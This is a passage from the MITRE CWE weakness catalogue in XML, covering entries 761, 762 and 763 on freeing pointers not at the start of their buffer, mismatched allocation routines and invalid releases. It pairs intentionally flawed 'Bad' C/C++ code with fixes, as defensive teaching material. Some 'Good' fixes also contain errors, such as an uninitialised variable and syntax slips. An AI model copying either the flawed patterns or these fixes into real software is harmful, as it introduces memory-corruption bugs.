				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="761" Name="Free of Pointer not at Start of Buffer" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.</Description>
         <Extended_Description>
            <xhtml:p>This can cause the product to crash, or in some cases, modify critical program variables or execute code.</xhtml:p>
            <xhtml:p>This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="763" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.6">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, glibc in Linux provides protection against free of invalid pointers.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a language that provides abstractions for memory allocation and deallocation.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use a tool that dynamically detects memory management problems, such as valgrind.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-77">
               <Intro_Text>In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define SUCCESS (1)<xhtml:br/>#define FAILURE (0)<xhtml:br/>
                     <xhtml:br/>int contains_char(char c){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *str;<xhtml:br/>str = (char*)malloc(20*sizeof(char));<xhtml:br/>strcpy(str, "Search Me!");<xhtml:br/>while( *str != NULL){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( *str == c ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* matched char, free string and return success */</xhtml:i>
                                       <xhtml:br/>free(str);<xhtml:br/>return SUCCESS;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                                 <xhtml:i>/* didn't match yet, increment pointer and try next char */</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>str = str + 1;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>/* we did not match the char in the string, free mem and return failure */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>free(str);<xhtml:br/>return FAILURE;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.</Body_Text>
               <Body_Text>Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>#define SUCCESS (1)<xhtml:br/>#define FAILURE (0)<xhtml:br/>
                     <xhtml:br/>int cointains_char(char c){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *str;<xhtml:br/>int i = 0;<xhtml:br/>str = (char*)malloc(20*sizeof(char));<xhtml:br/>strcpy(str, "Search Me!");<xhtml:br/>while( i &lt; strlen(str) ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( str[i] == c ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:i>/* matched char, free string and return success */</xhtml:i>
                                       <xhtml:br/>free(str);<xhtml:br/>return SUCCESS;</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>
                                 <xhtml:i>/* didn't match yet, increment pointer and try next char */</xhtml:i>
                                 <xhtml:br/>
                                 <xhtml:br/>i = i + 1;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:i>/* we did not match the char in the string, free mem and return failure */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>free(str);<xhtml:br/>return FAILURE;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-78">
               <Intro_Text>This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char **ap, *argv[10], *inputstring;<xhtml:br/>for (ap = argv; (*ap = strsep(&amp;inputstring, " \t")) != NULL;)<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (**ap != '\0')<xhtml:div style="margin-left:1em;">if (++ap &gt;= &amp;argv[10])<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                           </xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                     <xhtml:br/>/.../<xhtml:br/>free(ap[4]);</xhtml:div>
               </Example_Code>
               <Body_Text>Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-79">
               <Intro_Text>Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>//hardcode input length for simplicity</xhtml:i>
                     <xhtml:br/>char* input = (char*) malloc(40*sizeof(char));<xhtml:br/>char *tok;<xhtml:br/>char* sep = " \t";<xhtml:br/>
                     <xhtml:br/>get_user_input( input );<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>/* The following loop will parse and process each token in the input string */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>tok = strtok( input, sep);<xhtml:br/>while( NULL != tok ){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if( isMalformed( tok ) ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>/* ignore and discard bad data */</xhtml:i>
                                 <xhtml:br/>free( tok );</xhtml:div>
                           </xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">add_to_command_queue( tok );</xhtml:div>}<xhtml:br/>tok = strtok( NULL, sep));</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.</Body_Text>
               <Body_Text>One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>//hardcode input length for simplicity</xhtml:i>
                     <xhtml:br/>char* input = (char*) malloc(40*sizeof(char));<xhtml:br/>char *tok, *command;<xhtml:br/>char* sep = " \t";<xhtml:br/>
                     <xhtml:br/>get_user_input( input );<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>/* The following loop will parse and process each token in the input string */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>tok = strtok( input, sep);<xhtml:br/>while( NULL != tok ){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if( !isMalformed( command ) ){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>/* copy and enqueue good data */</xhtml:i>
                                 <xhtml:br/>command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );<xhtml:br/>strcpy( command, tok );<xhtml:br/>add_to_command_queue( command );</xhtml:div>
                           </xhtml:div>}<xhtml:br/>tok = strtok( NULL, sep));</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>free( input )</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
	 <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-11930</Reference>
               <Description>function "internally calls 'calloc' and returns a pointer at an index... inside the allocated buffer. This led to freeing invalid memory."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-11930</Link>
            </Observed_Example>
	 </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP12</Entry_ID>
               <Entry_Name>Faulty Memory Release</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-657"/>
            <Reference External_Reference_ID="REF-480"/>
         </References>
         <Notes>
            <Note Type="Maintenance">Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-08</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="762" Name="Mismatched Memory Management Routines" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.</Description>
         <Extended_Description>
            <xhtml:p>This weakness can be generally described as mismatching memory management routines, such as:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.</xhtml:li>
                  <xhtml:li>The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.</xhtml:li>
               </xhtml:ul>
            <xhtml:p>When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="763" View_ID="1000" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-41">
               <Phase>Implementation</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.</xhtml:p>
                  <xhtml:p>For example, glibc in Linux provides protection against free of invalid pointers.</xhtml:p>
                  <xhtml:p>When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391].</xhtml:p>
                  <xhtml:p>To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.6">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, glibc in Linux provides protection against free of invalid pointers.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a language that provides abstractions for memory allocation and deallocation.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use a tool that dynamically detects memory management problems, such as valgrind.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-80">
               <Intro_Text>This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BarObj *ptr = new BarObj()<xhtml:br/>
                           <xhtml:i>/* do some work with ptr here */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>free(ptr);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.</Body_Text>
               <Example_Code Nature="Good" Language="C++">
                  <xhtml:div>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BarObj *ptr = new BarObj()<xhtml:br/>
                           <xhtml:i>/* do some work with ptr here */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>delete ptr;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-85">
               <Intro_Text>In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>class A {<xhtml:div style="margin-left:1em;">void foo();</xhtml:div>};<xhtml:br/>void A::foo(){<xhtml:div style="margin-left:1em;">int *ptr;<xhtml:br/>ptr = (int*)malloc(sizeof(int));<xhtml:br/>delete ptr;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-86">
               <Intro_Text>In this example, the program calls the delete[] function on non-heap memory.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>class A{<xhtml:div style="margin-left:1em;">void foo(bool);</xhtml:div>};<xhtml:br/>void A::foo(bool heap) {<xhtml:div style="margin-left:1em;">int localArray[2] = {<xhtml:div style="margin-left:1em;">11,22</xhtml:div>};<xhtml:br/>int *p = localArray;<xhtml:br/>if (heap){<xhtml:div style="margin-left:1em;">p = new int[2];</xhtml:div>}<xhtml:br/>delete[] p;</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>WIN30-C</Entry_ID>
               <Entry_Name>Properly pair allocation and deallocation functions</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP12</Entry_ID>
               <Entry_Name>Faulty Memory Release</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-657"/>
            <Reference External_Reference_ID="REF-480"/>
            <Reference External_Reference_ID="REF-391"/>
         </References>
         <Notes>
            <Note Type="Applicable Platform">
               <xhtml:p>This weakness is possible in any programming language that allows manual management of memory.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-05-08</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Martin Sebor</Contribution_Name>
               <Contribution_Organization>Cisco Systems, Inc.</Contribution_Organization>
               <Contribution_Date>2010-04-30</Contribution_Date>
               <Contribution_Comment>Provided improvement to existing Mitigation</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="763" Name="Release of Invalid Pointer or Reference" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product attempts to return a memory resource to the system, but it calls the wrong release function or calls the appropriate release function incorrectly.</Description>
         <Extended_Description>
            <xhtml:p>This weakness can take several forms, such as:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).</xhtml:li>
                  <xhtml:li>The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1003" Ordinal="Primary"/>
			<Related_Weakness Nature="ChildOf" CWE_ID="404" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Scope>Confidentiality</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.6">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, glibc in Linux provides protection against free of invalid pointers.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a language that provides abstractions for memory allocation and deallocation.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use a tool that dynamically detects memory management problems, such as valgrind.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-78">
               <Intro_Text>This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char **ap, *argv[10], *inputstring;<xhtml:br/>for (ap = argv; (*ap = strsep(&amp;inputstring, " \t")) != NULL;)<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if (**ap != '\0')<xhtml:div style="margin-left:1em;">if (++ap &gt;= &amp;argv[10])<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                           </xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                     <xhtml:br/>/.../<xhtml:br/>free(ap[4]);</xhtml:div>
               </Example_Code>
               <Body_Text>Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-80">
               <Intro_Text>This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BarObj *ptr = new BarObj()<xhtml:br/>
                           <xhtml:i>/* do some work with ptr here */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>free(ptr);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.</Body_Text>
               <Example_Code Nature="Good" Language="C++">
                  <xhtml:div>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BarObj *ptr = new BarObj()<xhtml:br/>
                           <xhtml:i>/* do some work with ptr here */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>
                           <xhtml:br/>delete ptr;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-77">
               <Intro_Text>In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define SUCCESS (1)<xhtml:br/>#define FAILURE (0)<xhtml:br/>
                     <xhtml:br/>int contains_char(char c){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *str;<xhtml:br/>str = (char*)malloc(20*sizeof(char));<xhtml:br/>strcpy(str, "Search Me!");<xhtml:br/>while( *str != NULL){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if( *str == c ){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>
                                       <xhtml:br/>
